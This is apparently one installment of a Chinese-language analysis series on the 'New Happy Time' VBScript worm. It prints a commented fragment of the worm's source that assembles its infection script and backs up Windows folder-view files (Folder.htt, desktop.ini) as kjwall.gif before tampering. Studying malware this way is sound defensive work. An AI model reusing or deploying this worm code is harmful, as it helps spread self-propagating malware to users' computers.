新欢乐时光代码分析(12)

    ' 生成vbs感染用的脚本
    VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
    ' 取得Windows目录
    ' GetSpecialFolder(n)
    ' 0: WindowsFolder
    ' 1: SystemFolder
    ' 2: TemporaryFolder
    ' 如果系统目录存在web\Folder.htt和system32\desktop.ini，则用kjwall.gif文件名备份它们。
    WinPath = FSO.GetSpecialFolder(0) & "\"
    If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
        FSO.CopyFile WinPath & "web\Folder.htt", WinPath & "web\kjwall.gif"
    End If
    If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
        FSO.CopyFile WinPath & "system32\desktop.ini", WinPath & "system32\kjwall.gif"
    End If
End Function
%>